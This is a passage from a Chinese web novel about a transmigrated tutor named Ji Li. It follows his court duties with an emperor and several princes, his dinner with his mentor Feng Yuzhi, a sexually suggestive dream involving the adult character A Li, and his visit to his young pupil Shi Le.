王公公露出些真切的笑意来,只是语含无奈:“小殿下老奴是真不知呀,只是您到时候可不要鲁莽了。”
赵文安叹了口气,没得到满意答案,瞬间不装了,语气不满道:“好呀,你个狗奴才还敢教训起主子来了。”
王公公只是笑,半响才道:“慎言。”
“哼!”赵文安后知后觉反应过来,现在王辞可是赵永敬的人,他是万万不能自称主人的。
面上还维持着淡然,心头直跳,一定不能再得意忘形了。
赵文安沉默下来,王辞朝殿内去了。
赵文安跪得腿都快麻了,正想偷偷活动活动腿。
就见,王辞出来了,他笑眯眯喊:“殿下顺老奴入殿吧。”
“啊?”赵文安哆哆嗦嗦往里走,很快王辞退回了角落,他只停在垂落的血珠帘前。
三皇子:“父皇,儿臣觐见!”
季李在心里给他点了根蜡,默默祈祷,说起来,他也不知道这昏君是发了什么疯,明明是选个帮手。
赵永敬非说,他喜欢赵文安?!
这有逻辑吗?
季李当真无语,原本是要把赵文安拉下水的,但也不是这个理由呀?他悄悄往外去看。
头顶传来个声音,语含告诫:“老实点”
季李瞬间安静下来,装透明人了。
帝王低着头,手上握着一黑一白两颗棋子,语气轻松真像是日常和孩子谈心:“听你母妃说,你每日都按时上课,都没有了逃课的情况了。”
三皇子脸色一白,恨不得将头埋进地毯里,语气恭敬回话:“回禀父皇,臣此前多玩闹。但如今依幡然悔悟,定然不敢再越距。”
“那就好。”赵永敬丢下棋子,翻身从玉桌下来,几步走到季李面前,蹲下身伸手道:“你起来吧。”
季李瞧着他伸出的手,神色犹豫不敢动。
赵文安闻言,朗声回:“儿臣不敢。”
“听吧。”赵永敬盯着季李的眼睛,眼含笑意,语气轻松:“老师都没起来,学生怎么敢先起来呢?”
季李咬着唇,避开他探出的手站起身,退到一旁回:“谢陛下鸿恩。”
赵永敬没有收回手,语气淡淡的:“既然如此,就让他跪着吧。”
季李:?
“陛下。”季李完全不明白了,什么叫让他跪着吧,施加命令的人才能收回命令吧,“臣……”
赵永敬抬手示意他不用多说,季李只要止了话头,一脸无奈的往外看。
赵文安还跪着,也不会做出什么反抗。
“西厢房的修建还缺一个人。”赵永敬抛出话头,遥遥望向珠帘下的人影,语含烦恼:“文安啊,你一贯是通晓人情的,你说派谁去更好?”
赵文安趴着,声音听起来闷闷的:“臣以为,老师是个不二人选。”
“还有呢?”
“……儿臣愿自荐协助老师行事。”
“噢?”赵永敬嗤笑一声,目光落回季李身上。
季李面不改色。
“就如此吧。”帝王转过身,一步步踏回高台龙椅斜坐着,居高临下的盯着季李,语气淡淡:“办不好,你是知道后果的。”
季李正想领命。
就听赵文安高声回应:“儿臣领旨。”
季李顺势跪地,启唇:“臣定不负……”
“大人。”王公公不知何时凑了上来,止了他的话,摇头道:“老奴送您出去。”
季李只好把话咽回去,满腹狐疑的跟着人出去了,珠帘被王辞一把揽开,他走近把还跪着的三皇子喊起来,“走吧。”
赵文安脸涨红,不着痕迹的把手抽出来,和他隔着几分距离走在前面。
季李一头雾水,下意识往后看,只看到帝王趴着龙椅上闭着双眼,像是睡着了。
养心殿外。
“多谢公公了。”季李朝王公公道谢。
王辞摆手:“不敢,老奴便回去了。”
“哼!”赵文安在一边哼哼唧唧。
等人一走,季李转过身看着赵文安问:“什么后果呀?”
赵文安神情一变,很快变回笑脸,眼睛却含着恼意不忿道:“假惺惺作态,你是想看我笑话吧!”
季李更惊讶了,什么呀?他就是好奇问一句。
赵文安也没想等到回应,转过身气冲冲的就走了,留季李一个人在风里凌乱。
不是?他们不是搭档吗?事就不办了……
天选打工人,季李叹了口气,抬脚往宫外走,算了,可能赵文安太生气了,只有明天再开始工作了。
季李真的已经不敢再把人拖下水了,原本让赵文安也来,一是想灭灭他趾高气扬的威风,二是真的要让他和自己一同搭档办事。
结果,事情好像闹大了些。
不想了,他才是最可怜的人!什么权势也没有还得老老实实打工。季李瞬间把自己安抚好了,转头往东宫的方向去。
到了东宫,门禁闭着,季李让门卫帮他传话,“臣季明礼,前来看望太子殿下。”
季李在门外等了一会儿,见一个书童打扮的男孩走了出来,语气恭敬:“大人,太子殿下依然休息了,不便相见。”
季李点头,只是,他记得太子的书童不是这个人吧,想着便问:“你是太子的另一个书童?”
“回禀大人。小人是太子殿下的书童。”
“太子有两个书童?”
“回禀大人,太子殿下只有小人一个书童。”
“行。那我就先走了。”季李面上平静,心里已经是翻江倒海了,这不对呀,太子的书童不是这个人吧?
难不成是换了一个。
季李很快想到另外一个人,二皇子的书童,那个因为他质疑而突然大胆起来的男孩。
季李这般想着,加快脚步便往二皇子的寝宫去,还没走到,身后传来王七的声音:“大人,您怎么在这儿?”
“?”季李:“这句话应该是我问你吧。”
“长乐你送回府了吗?”季李走近。
王七回:“那是自然!您快回府吧,冯相找您有事。”
“什么事呀?”季李一愣,一边往宫外走一边追问。
“冯相只让我来寻你。”王七挠头。
季李也不好多问,赶紧回了丞相府,一路上想了千百种情况,什么冯相病危、师兄出事了、或者是他的日记本被翻出来了!
季李紧张极了,一路上走得极快,真到了地方反而不敢进去了,站在大门外,缓慢挪步。
“大人。您这是?”王七不懂就问。
“你别管了。”季李没好气。
天色渐
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晚,相府门前挂上了火红的灯笼。
季李坐在石狮子上,撑着头想着,如果真被找出日记本他该如何应对。
“咳咳。”一声熟悉的咳嗽声把他从思绪里拉了回来。
季李吓了一跳,猛然抬头。
红艳色火光下,冯裕之披着橘黄色的皮毛外袍,双手掩着厚厚衣袍下。
季李不解,偏头一看王七就藏着人身后,偷偷摸摸朝他挥手示意。
好你个王七,又通风报信!季李在心里把他骂了个够,慢腾腾从地上站起来,双手拍着屁股上的灰,朝冯裕之笑道:“老师,您来啦。”
冯裕之抬眸看他,一头银白发丝被火光印上些淡红色,显得格外显眼,唇色淡淡的苍白的脸色尽看起来多了些神采,有点像朝霞下守护雪山的神灵。
“先进屋吧,外面冷。”冯裕之抛下一句转身离开了。
季李连忙跟上去,伸手把想溜的王七逮住,压低声音道:“你怎么回事!”
王七可怜巴巴的回:“大人,我都怕你化成石头了,一害怕就把冯相找来了。”
“那、那你们没来多久吧?”季李勉强放开攥紧的衣袍,犹疑道。
王七一愣,眼神往前望。
季李一把拉回:“快说!”
王七:“看了一炷香吧。”
季李:……他真的不懂,为什么不早点喊他呀,他想事情的时候,又挠脑袋,又咬牙齿的,还喜欢揪头发。
正是因为觉得很可爱,看出神了的冯裕之,表示,如果不咳嗽出声的话,看一天都不为过。
季李不知道,他只觉得很丢脸,就好像在一个严肃可靠的长辈面前弄出些小孩的小动作,他还想着要取得冯裕之的认可!
这下好了,干了蠢事。
“怎么了?”冯裕之转身见人不走了,神情带着些关切:“看着很不开心的模样。”
季李赶忙凑上去,笑着回:“没有、没有。老师,您下次直接叫我吧,我一入神也没注意到你。”
“……你进宫怎么样?”冯裕之避开了这个请求,转移话题问。
“今日,我和三皇子领命一同着手西厢房的修建工作。”季李一听工作,正色道。
冯裕之:“是皇帝下令的吗?”
季李叹了口气,有点不好意思:“其实是我把三皇子拉下水的,我想着三皇子熟悉宫中的要务。”
冯裕之不在多言:“也好。”
瞬间,气氛沉默下来。
季李有些尴尬,想起了最关键的事,小声问:“老师,您今日派王七来寻我是有什么要紧的事吗?”
“寻你?”冯裕之抬眸透出些不解,微颦眉放软声音道:“我只让他把,文意送来的信交于你。”
季李闻言,直接从凳子上站了起来:“什么!”
冯裕之看得心软,脱口而出:“不要气。”
季李愣了一下,后知后觉的坐回凳子上,回想,冯裕之是在关心我吧?
“你就是因为这事,才呆在门外的吗?”冯裕之顿然明了。
季李突然有些不好意思起来,怎么听起来,像是他很怕冯裕之呢?
“是我平时对你太过严厉。”冯裕之低下了头,白到发青的指背贴着滚烫的药饮,语气悲然:“尽让你害怕我了。”
季李一听赶忙回:“没有!没有!”
冯裕之不动声色敲着瓷杯,声音依然轻柔:“那以后,你便回来用晚宴吧。”
“当然!”季李赶紧借坡下驴,话说出口感觉有些不对,吞了吞唾沫,小心瞧着冯裕之的神情。
27. 第九天
季李看到,冯裕之极其温顺得半垂着眸,细密的眼睫印上暖红的光,光影似乎要透进瓷白泛青的皮肉下,细长银丝被风吹到鼻梁上,刀刃般切隔沁出艳红的压痕。
苍白的唇面沾上热气腾腾的药饮,湿红血色显出,微微勾着,冯裕之像是觉到他的视线,抬手咬住瓷杯沿口,雾汽升起,一双浅棕色的眸像夜里细小的星。
“老师?”季李忍不住发声提醒。
冯裕之略显遗憾的一口饮完,轻置下茶杯,启唇:“想必已经饿了吧,我们去用晚宴吧。”
季李点完头,想着还是要客气一下,轻咳了声道:“学生不算饿。”
他话音一落,咕噜噜的叫声从肚子里传来出来。
季李一愣,下意识用手去挡,当然是遮掩不住的,只能尴尬的把脸臊红了,埋着头跟在冯裕之身后。
正垂头丧气感叹今天太丢脸,突然,在一旁老老实实当隐形人的王七又不老实了,张口一句:“刚才,是我肚子在叫。”
简简单单八个字,耗尽了季李的所有情绪。
他暗自攥紧了拳头,只等用完宴,他一定要对王七重拳出击!
没见过怎么坑人的。
以至于,季李在饭桌上老实了,捧着饭碗埋头苦吃,吃着吃着感觉有点不对劲,怎么他面前的菜永远都是满的。
季李缓了动作,礼貌的放下碗,优雅夹菜时瞧着冯裕之的动作。
就见人,时不时把对面的菜盘换到他面前,动作非常熟练就好像之前经常做这种事情。
倒水、布菜,嘱咐他慢点吃。
季李愣愣的吃完了饭,直到回到卧房整个人都是呆呆的,他觉得自己在做梦,可掌心下吃得鼓鼓的小肚子却告诉他,这不是梦。
等等!
他不是要减肥吗?为什么,又吃了怎么多!季李叹了口气,把今日的失误全怪到肉很好吃、冯裕之布菜速度太多上。
说起来,他有点轻微的强迫症,不吃完碗里的饭就是浪费,菜都递到面前来了,不吃也太不尊重美食了!
“王七!”季李一打挺从床铺下来,几步走到门口,盯着站在树下的人。
王七挪了几步,小声道:“大人,您就别为难小人了。我就是好心办错事了。”
“……好吧。”季李真没办法再说什么,毕竟人承认错误的速度太快了,态度也算诚恳。
不过,就是认错了也不改。
季李无奈得捏着额头,问:“要不然,你回家休息几天?”
王七一听,哭着道:“大人您有所不知。小人无父无母,早就没什么家了。”
季李:天塌了、不该多着一句嘴。
他赶忙给王七拿了些银子,当即表示:“你不用难过,明日,我就让老师给你涨月钱。”
王七感激道:“谢大人!”
随即,留季李站在门口望着王七高高兴兴离开了。
半响,季李回到屋内,把床下的日记拿了出来。
烛火将其点燃,瓷盆里只剩猩红火星的灰烬。
以后不能留什么证据了。睡前回忆一下白日经历就行,季李决定换个方式。
今天是第八天,有7点。昨日没有梦到阿狸,也休假了一日没什么大事发生。今日领了西厢房重建的任务。
季李回忆完,躺回被窝里,伸手拿过枕边的竹蝴蝶,盯着看了会儿,才回去。
眼睛一闭,很快睡了过去。
沉睡前,脑海里闪过白日里舞得像雄孔雀般的封怀礼,又闪过哭着喊他名字的阿狸。
拉着他的手,往下探……
湿烫的软意,就好像残留在指腹,季李眼皮一跳睁眼,就见到男人挤在他怀里,手脚不老实的乱动。
季李放轻了呼吸,想把手抽回来,刚一用力耳边躁起一声,含着欢愉的呜咽声。
男人迷蒙着睁开眼睛,眼眸里闪过一丝惊讶,很快掩过,凑上来轻柔的唤:“你终于来啦。”
“阿狸?”季李有些怀疑,语气不免生硬:“你也会睡觉吗?”
封怀礼皱着眉头有些不满的一口咬到季李下巴上,语气愤愤:“你为什么昨天没来?”
“因为我太累了。”季李伸手摸了一把男人毛糟糟的后脑勺,心里很冷静,也许封怀狸和阿狸是同一个人,看现在在他面前的,更像是白天的封怀礼。
还故意说什么,上来就咬他一口,明明是在报白天的仇。
季李瞬间想到一个主意,他探手迅速寻到封怀礼胸前的弱点,指尖施力,怀里的身体猛然软下来,他咬着唇不肯出声。
“怎么了?”季李装作不解,空闲的手指头磨蹭到被咬得发白的唇,心下有些犹豫了,会不会,阿狸也会痛。
封怀礼不知道他的心思,张口就把让人欲生欲死的指节含在嘴里,齿尖不忍的只轻轻落。
季李没想到他会是这个反应,手上的动作瞬间停了。
怀里的身体却烦躁起来,似蛇的双腿缠住人的腰腹,他吐出指头,一双眸里湿漉漉的,腻甜的气息洒落:“你真的不喜欢我?”
季李心软了,不想去看他的眼神,探手掩住。
封怀礼不满的扯下来,张嘴探出稠昳的舌,紧紧盯着他的反应,一面一点点的舔着,把掌心软肉吮的发红,细密的麻痒扰得人推搡。
季李弄得烦了,一把扯着他后脑勺披散的乌发,清了清嗓子教训:“封怀礼,你是狗吗?”
男人一听,从他手上挣扎起来,要逃。
“好了。”季李盯着缩在被子里窝成一团,不肯出来的人,只觉好像弄得有点过火了,放软语气哄:“我不说你了。”
“季李……”从团成球的被子里闷闷冒出一个声音,听着委屈极了。
季李一听,这不是,阿狸嘛!?
他赶忙把被子扒拉开,就见到赤裸着身体的阿狸。
卷成一团,像只烫熟的虾米,浑身泛红。
腿间沁湿了一片,亮晶晶的。
“阿狸。”季李伸出手,示意人拉着他的手起来。
阿狸一翻身,展露着身体,张开双臂朝他喊:“我要你抱我……”
烫湿甜味间,季李被他追得急,一会儿说疼,一会儿说还要。真是太难应付了。
最后,总算消停下来,阿狸趴着他肩膀上,眼睛红彤彤的望来,笑得甜蜜:“季李,我要给你生孩子。”
什么!?
季李急忙撑起身,一睁双眼,发现自己躺在床铺上,天还未亮。
“是在梦里吧?”季李心有余悸。
直到洗漱完,站在镜子里面,季李还在自言自语:“对,就是梦。而且,我也没做什么呀。”
季李一看时间还早,便拆了宗文意送来的信。
信里说,他在江南那边遇到一个麻烦,需要一大笔钱。
“?”季李反反复复看了几遍,一时都怀疑起来,缺钱不应该找冯裕之拿吗?这应该是什么新的骗术吧,但这字迹就是宗文意所写
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。
但是钱,他确实是有的。就是靠他抄书,把现世的四大名著改改弄弄,编了出来。
写书,办书局的事情由季小五他们负责处理,按时间今晚就该传来书信。
季李给季小五和宗文意他们写了信,各自交代了一些。但是否要给宗文意经济资助,他决定还是要问一下冯裕之。
只是不巧,用早膳时季李没看到冯裕之,而他也要去授课便出发去宫中了。
书院里。
季李站在门口,等来了太子请病假、时乐请事假的消息。
季李想不到,时乐不来上课的理由,他捏了捏衣袍决定课后便去寻她。
此时授课也只有两人,三皇子赵文安、二皇子赵祈瑞。
因为是第一次见面,季李仔细看了看他的长相,发现他格外普通,真像一个透明人。
二皇子和他书童一同来时,季李甚至认错了人,全然是两个陌生人,之前印象深刻的书童也换了人。
季李只觉这事很奇怪,两个皇子的书童都变了,难道是因为他们护主不力就换人了?
赵文安一贯笑嘻嘻的模样,把着玉扇凑到二皇子跟前给人扇风。
乌黑细长的发掩到额前,只露出两个又黑又亮的眼睛,发丝被扇起,一道青紫色的疤痕横在额上。
季李一惊,赶忙移开目光,再往讲台下看时,二皇子挪了位置坐在角落里面,埋着头不知道在干什么。
三皇子还是一副漫不经心的模样,见季李在看他,还器宇轩昂的仰着头臭屁极了。
“好了,我们开始授课吧。”季李懒得理他,漠然移开目光,翻开课本开始讲课。
这两堂课没有什么波澜,季李本人的状态也不太好,所以第二节课,他把之前准备的试卷拿了出来,鉴于二皇子没听过课。
“老师,就我一个人答呀?”赵文安皱着眉头,一脸不乐意,捏着纸张脸色难看极了。
季李没有说话,轻声嘱咐窝在角落很胆怯的二皇子,“祈瑞,你可以先把之前的功课补了。”
说完,转身看着不服气的赵文安,抬手拿过试卷,看了一会儿启唇:“这样吧,你翻着书答。”
赵文安别别扭扭的还想讨价还价,见季李不愿搭理他,只好把话咽回去,哼哼唧唧的在位置上,把书翻得响亮。
“……”季李叹气,突然感觉衣袍被扯动了,他下意识转身就看到二皇子赵祈瑞飞快收回手,两颗眼睛像黑葡萄无声望着,细长发丝显得一张脸极小。
季李放轻了呼吸,感觉再大声一点,这个小孩又能躲起来。
“怎么了?祈瑞。”季李俯下身问。
“功课。”小孩蹦出两个字,目光落到书桌上的一叠纸页。
季李一看,才发现这是之前布置的功课,书写得工整正确率高,他满意得点了点头:“祈瑞很棒,那你把今日的功课完成了吧。”
总算熬到了下课,季李和两人告别哼着歌往外走,听到身后有些响动。
“儿臣给父皇请安!”齐齐两声响起。
季李一愣,不可置信得转身只见两位皇子恭敬朝从后门进来的赵永敬行礼。
赵永敬身着一身玄朝,看起来像是刚下朝,随意抬手一抚手,靠着书桌上半依着,正翻着书籍漫不经心看着。
季李叹了口气,快步走近正色道:“臣季明礼见过陛下。”
“怎么你看起来很不高兴?”帝王抬眸,落到少年微抿的唇角上,神情探究。
28. 第二十八章
季李:谁敢对咱们尊敬的皇帝陛下摆脸子?
季礼心里白眼翻上了天,遮掩着低下头,余光看到三皇子施施然把着玉扇挡住了大半张脸,只未藏住的眼睛弯弯的明显就是在偷笑。
好你个赵文安,原来扇子是这个用处,恨不得‘面谏寡人’吧!
季李瞬间想到个主意,一拱手语气诚恳:“陛下,您有所不知。臣心忧之事。”
“哦?说来听听。”帝王起了兴趣,嫌热似的拉开腿间繁复外袍,跨坐在桌角两条长腿不知该摆放在何处。
季李一见人动作,眼皮一跳竟然担心起赵永敬一天天热得那个劲,都怕人没穿里衣。
幸好这事没发生,玄色衣袍下着暗红色里衣,看着质地,光点流淌怕还是冰丝的。
“臣忧心殿下们课业进度。”季李移开目光,一脸担忧。
“是吗?”赵永敬闻言,一抬手对收了扇子要躲到角落去的三皇子道:“既然如此,文安,把你的功课拿过来。”
赵文安一听悬着的心瞬间落回原地,他勾着嘴角把没写几个字的试卷藏到书本下面压着,朗声回话:“儿臣……”
“且慢。”季李抬脚走到脸色惊犹的三皇子面前,伸手扯着卷子一角,暗自用力望外拉,见人还恨恨的不肯松手,他脸上更自得指节一松,轻松放开了,只在纸页上留个皱巴巴的印记。
赵文安身子一晃,连忙站稳脚跟,像是想起什么忙望身后看。
金黄色眼瞳灼灼耀目,似盯紧猎物只待一跃的猛虎。
“陛下,今日臣刚考察完三皇子的课业,不妨看看成果如何?”季李笑眯眯的朝气得脸发红的赵文安示意,目光落到被捏得褶皱一片的卷子,神情泰然无声道,快,去自首吧。
三皇子咬紧了后槽牙,挪着步子往前动。
不料,见帝王没了耐性皱起了眉,偏开头玩着大拇指的扳指,转了一圈又一圈。
赵文安赶忙大步往前跨,一躬身双手捏起卷子举过头顶,在心里默默为自己祈祷,同时恨恨想,给本皇子等着,季李,别让我逮到机会了。
赵永敬默了几秒,没去接,到时抬眸寻着季李的神情,少年一脸期待甚至跃跃欲试的揪着手指,像个张条红尾巴的恶魔,是叫恶魔吧。
之前老师提到过,说话时半弯着腰,眼眸弯得浑圆,浅红色的唇水光盈盈的。当时他盯着人白瓷细长的脖,一探手,指腹贴到滚动的喉结。
‘怎么了?’他眨了眨眼睛,想往后躲但忍住了,只绷紧了身子不解的问。
‘老师,恶魔长什么样子呀。’听到自己装作好奇的问。
他瞬间蹲下来,任由烫灼的指靠得更近,腹肉又些奇怪的抚动,咬着唇思索后道:‘可能一有条烧得火红发暗的细长尾巴。’
帝王收回视线,抬手轻飘飘接过薄薄纸张,眼见着赵文安这个小崽子哆嗦了一下,心里暗骂,不就是检查一个功课又怎么吓人吗?他又不吃人。
赵永敬嗤笑一声,漫不经心道:“起来吧,别候着了。”
三皇子吞了口唾沫默默背过身等着未来的狂风暴雨,赵永敬就看不惯他这幅战战兢兢的样子。
凝眸落到只写了几个字的考卷上,歪歪扭扭写着,‘饿了’、‘无聊啊啊啊啊’、‘快下课’……
赵永敬只觉胸腔涌起一团火,他面无表情开口:“赵文安,你告诉朕‘治国大道’是什么?”
赵文安双腿一软麻溜跪在地上,顿时声泪俱下:“父皇,儿臣都是信口胡掐的,您大人不计小人过。就饶……”
“闭嘴!”赵永敬一执臂,那纸页顺势盖到赵文安头顶,他气愤抛下一句:“禁闭三日。”说完转身大步离去。
从房外涌进几名守卫,要搀着赵文安,将人带走。
傲然的三皇子一挣手臂,迈到季李面前,眼睛红红的瞪他。
季李:?不是,谁知道你真乱写呀。
本来就坑过赵文安一次的季李,心里多少还是有些愧疚的,但他吧,就是吃软不吃硬。
遇强着强,人越横。他就越要挑刺,偏笑着阴阳道:“殿下,您慢走。臣就不远送了。”
一行人走远,屋内顿时清冷起来。
季李着实有些好奇,走到刚才赵永敬所坐的桌边,弯腰拾起,皱巴巴沾灰的纸张上写着一行大字,‘狗屁的治国大道,也没见我爹多**。’
‘仁德’两个字被涂成一团,但真要辨别还是能看得出来。
“哈哈哈哈!”季李没想到赵文安这才真是贴脸开大的,被关几天禁闭也算是重拿轻放了。
季李捂着肚子大笑,拿着这张考卷一转身,就和在墙角当透明人的二皇子面面相觑。
两颗黑幽幽的大眼睛直直盯着他,季李霎然合上了嘴,默默把考卷放到一旁的木桌上,轻了轻嗓子开口:“祈瑞,你应该没听到吧。”
赵祈瑞睁着眼睛点头,随即埋下头,悄然收拾起了课业。
季李想着,还是走上前说:“祈瑞,老师就先走了。明日再见。”
从大团乌发里埋出一张极白看起来小巧的脸,他有点怯弱的点头,像是想起了什么,揪着手指有些紧张的咬着指背。
季李柔声劝慰:“怎么了啦,祈瑞想说什么?不用害怕,这里只有我们两个人。”
那知赵祈瑞眼眸一闪,忙抽出咬得发红的手指,又低着头把脸藏在头发里半响才开口:“老师再见。考卷会有人来取的。”
季李愣了一下,偏头看了眼孤零零躺在桌边的纸页,他收回视线朝人笑了一下,想伸手摸摸人的头又怕吓到他,随即曲着指尖轻声道:“好,那我们走吧。”
二皇子跟在他老师身后,长长的额前发把他的眼睛掩了一大半,只能从时不时晃动闪烁的光亮里朝前看,微微仰着头注视着人温柔的笑容。
左耳垂后有颗极小的粉痣,必须要认真的盯着,不然一个不留神就看不到了。
赵祈瑞眼见着同行的路越来越近,他极具私心的放缓了脚步,仔仔细细又盯着那处瞧了又瞧,才凝眸低着头。
季李时不时找些话题来活跃气氛,只是他这个学生太胆小了,同时也很沉默,他说五句话才能得来一个‘嗯’或是‘是’。
所以,他差不多都是自顾自的说着,等到这
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段沉默有点长了,他惊疑的偏头去看,没看到人影。
再抬头往后一瞧,就看着赵祈瑞像是个被迷路的小黑绵羊,一脸无辜迷茫的看着他。
“不好意思。”季李朝人走去,摸了摸后脑勺开口:“老师走太快了,都没注意到祈瑞你掉队了。”
季李看着他,弯眸开口:“下次,可以叫一叫我。”
“好。”二皇子憋出一个字,又埋起了头。
小小一段路,比平常多耗了两倍时间。
季李总算走了出宫门,心里想着,下次还是单独走吧,原本计划着去看望一下太子的,但因为赵祈瑞的速度。
季李果断放弃了这个打算,他都怕再在宫里耗,一会儿天都黑了。
本来今天季李就因为时乐没来上课,导致没有授课的状态,计划着给他们布置一套试卷,他也好熬下时间,等一下课,他就亲自去将军府上看一看。
时乐到底是遇到什么事,竟然没来上课。
快步走到府邸门口,他和门口的小厮说明了来意。
小厮闻言,转身进了门,过了会儿一个蓄着白胡须的老爷爷走了出来。
“季大人,老夫是府上的掌柜,您叫我老陈就好。”老陈恭敬行了礼,看着年迈但说话间中气十足:“小姐嘱咐过我,您今日会来。这包糖果是我交于我的。”
季李理着思绪,老陈口中的‘小姐’恐怖就是时乐,他点了点头,双手接过了香囊状的布袋。
布袋一面绣着个极其灵动的大胖锦鲤,另一面歪歪扭扭的,像是一个‘季’字。
他忍不住勾了勾唇,这个字恐怕就是时乐绣的吧,真是为难她了,指腹留恋的在粗糙的针线上小心抚过,抬眸轻声道:“在下谢过了,那时乐现在还好吗?”
老陈摇了摇头,一双眼睛没有丝毫的混沌,意味深长看了他一眼,拉长调子道:“这次小姐犯了错,要学学规距了。”
“陈老先生,不知道小生能不能帮一帮时乐。”季李一听整个心都被拽紧了,心里闪出一个猜想,多半是因为那位驻守边境的大将军下的令,就算他是长乐的亲生父亲,也不能这样教育孩子呀。
季李恳切道:“恳求老先生指点一二,小生不忍时乐受苦。”
“哈哈哈。”老陈陡然大笑,季李一听以为有戏眼睛一亮期待的盯着他,结果这老先生话音一转,话含不满:“慈父多败女。”
季李一听冷了脸色,站直了身子语气不忿:“时乐不过是个小孩子,你身为掌柜不对自家主子多加关切,却一副狠不得小主子被狠狠教训的模样。”
老陈叹了一口气,自知现在多说无益,只好转过身进了府邸。
季李吃了闭门羹倒也不恼,他刚才把话说完,才反应过来自己话太严重了,顶多他不过是个好心的教书先生,其他更亲近的身份也攀谈不上。
不过,心里的难受不是假的,季李低着头往回府的方向走,一手握着布袋刚解开,绚丽的包装纸露出一角,看着粉粉盈盈的。
这个糖……
突然身后响起耳熟的童音,含着喜意。
“爹爹!”
29. 第二十九章
季李一把握紧了布袋,飞快转身,就见时乐穿着极其素锦的白蓝衣衫站在门口,满脸笑意的看着他。
季李大步跑过去,站在人面前,蹲下身仔细看着小孩的脸,不知道是不是因为知道了时乐现在正在受罚,他总感觉小孩都变瘦了。
“长乐,你是不是都瘦了呀。”季李忍不住摸了摸时乐白白净净的脸颊,怜惜的看着她小声问:“你是犯错了吗?”
时乐原本一点都不委屈,可突然有个人来关心她,还是她的爹爹,瞬间鼻子一酸,眼睛红湿湿的,嘴巴一瘪直接开哭:“呜呜呜呜……”
“哎呀、哎呀。”季李手忙脚乱的拿出手帕给人擦脸蛋,心里更是软得一塌糊涂,轻声道:“是爹爹错了,我们长乐很乖。不会犯错的。”
站在门口充当门神的老陈:都说了慈父多败女,多亏了现在老爷不在家,不然,完全是大鱼吃小鱼。
“爹爹。”时乐有些不好意思的吸了吸鼻子,低着头,揪着胖手指,又偷偷摸摸去瞧季李的神情,半响才扭捏着开口:“是时乐犯错了,爹爹原谅我吧。”
说到后面时乐一跳,直接趴在人肩头,张开了双臂紧紧攥紧了衣角,一副不原谅就不松手的架势。
季李现在正是满腔慈爱的时候,当然点头,拍着小孩后背应:“爹爹当然会原谅你啦。”
听完保证的一大段话,时乐才像是狗皮膏药一样从人身上扯下来,她又满脸笑容的望着季李,试探性的开口:“那爹爹给父亲说,让他不要惩我啦。长乐好无聊。”
季李咬着唇,求救似的朝老陈的方向望,那知老先生冷漠的移开目光,让人自己解决。
“那,你父亲已经回府了吗?”季李真没想到,原谅时乐是要做这种事,竟然直接就见人家长了。
他顶多就只能是时乐的老师呀,也不是她的爹爹,真要舞到人家长面前去了……
季李暗自给自己鼓了鼓劲,深吸了一口气等着时乐给他致命一击。
结果,时乐眨了眨还红彤彤的狗狗眼,一脸无辜摇头道:“没有呀,父亲还没有回来。”
“那就好。”季李瞬间放下高悬着的心脏,一时把心里话说出了口。
时乐听清了他的话,不乐意的皱着眉,却软软的问:“爹爹,你在说什么呀?”
“没有、没有。”季李赶忙摇头,他差点忘了,长乐现在就完全是个‘留守儿童’,怎么可能不想自己的父母在身边,他怎么能怎么说呢!
“那爹爹给父亲写信吧。”时乐凑到人面前,撒娇道:“让他快点回来吧。长乐想要一家人在一起。”
“可是,大将军根本不认识我呀?”季李有些不敢面对她的眼睛,但不能再继续哄骗小孩了,善意的谎言说久了就是欺骗了。
季李叹了口气:“而且,时乐你有没有想过,其实你应该是有母亲的。”
时乐一听不认同的摇头,有些急切的站起身,想解释又注意到旁边还站在老陈,只能把话咽回去,往后退了一步,看着季李脆生生道:“我不管,你就是我爹爹!”
“如果你不答应我……”时乐皱着眉头想,还是不知道该说什么,只好使出必杀技,眼巴巴盯着季李。
季李一看,水汪汪的狗狗眼,我见犹怜的劲儿。
瞬间什么话也说不出来,只能把牙打碎了都得咽回肚子,他捏着布袋问:“那我把信写好,明日再交由你,你再帮我寄给时将军吧。”
时乐满意地点头,乘人还没反悔赶忙溜回府邸里,遥遥朝人挥手告别:“爹爹再见!”
季李愣在原地,眼睁睁看着她蹦蹦跳跳的离开,后知后觉琢磨出一丝不对劲来。
他本来是不怪她的呀!为什么,还要再多一个原谅的名头,绕得他还要给时将军写什么,‘望归’信。
“季大人。”当背景板的老陈轻咳一声开口:“信的内容是你决定的,老夫不会让小姐私自拆开看的。”
季李一听,有道理哈,但这念头一瞬而过没留下什么印迹,他抬眸又是怀疑又是不满的盯着老夫子,张了张嘴没有说出什么话来。
老陈莫名其妙的挠了挠头,看着人垂头丧气的走远。
回相府的一路,季李真是不知道该怎么形容自己了,怎么去探望个小孩都能被绕进去。
这下好了,到时候时将军翻来覆去的看着,他女儿寄来的信,信里却是个叫季明礼的陌生人,莫名其妙的让他回家。
我真是莫名其妙呀……季李现在都没什么心情看时乐送的糖果了,一丢揣进袖袍。
走了五分钟,季李突然想起来一件事,就是昨晚阿狸最后说的一句话。
‘我要给你生孩子。’
季李一激灵,忍不住拍了拍脖子上起的鸡皮疙瘩,怎么会让阿狸产生这样的想法,他始终是弄不明白,沉甸甸的袖口给了他答案。
难不成是因为时乐?
或者是,白日里封怀礼看到他对时乐很纵容,影响了梦里的阿狸。
季李越想越觉得有道理,脚步一顿,现在就想去找一下摄政王封怀礼,凭着现在他对这人的理解。
封怀礼还处在不肯接受他梦里黏黏糊糊的哪个模样,所以如果知道了昨天梦里自己说出了那种话,而白日又见到了当事人。
封怀礼一定会崩不住面子,躲得极远,定然会打消哪个荒诞的念头。
只是现在天色有点晚了,他再去一躺王府还来得及吗?毕竟,冯裕之昨天还说要和他一起用晚宴……
季李有些纠结,揪着手指比较那边更紧迫,或许是之前冯裕之给他的形象都太正面和严肃了,他总感觉,说要一起用晚宴可能就是个客套话。
这般想着,拔腿就往摄政王王府的方向跑去,攥紧了时乐送他的布袋心里暗暗想,只要他快一点,回府吃晚宴也来得及。
摄政王府外。
大门两旁已悬上了火红灯笼,两座石狮雕得栩栩如生,他刚站到门口,一个小厮就寻了下来。
“季大人,您总算来啦。”那小厮长着一张娃娃脸,很喜庆的模样。
季李一愣应:“是王爷在等着我吗?”
娃娃脸点头,迎着他往里走。
季李下意识跟上去,只是小厮带得路越来越奇怪,不往正中的大厅带,偏偏来绕去的也不知道是那个小院,一路上几池塘水里被喂的肥嘟嘟的大锦鲤冒出头,张着嘴等着投喂。
他一探手,其中最肥那只锦鲤游得更欢了,一摆尾溅起池水,瞬间把其他鱼挤到一旁了。
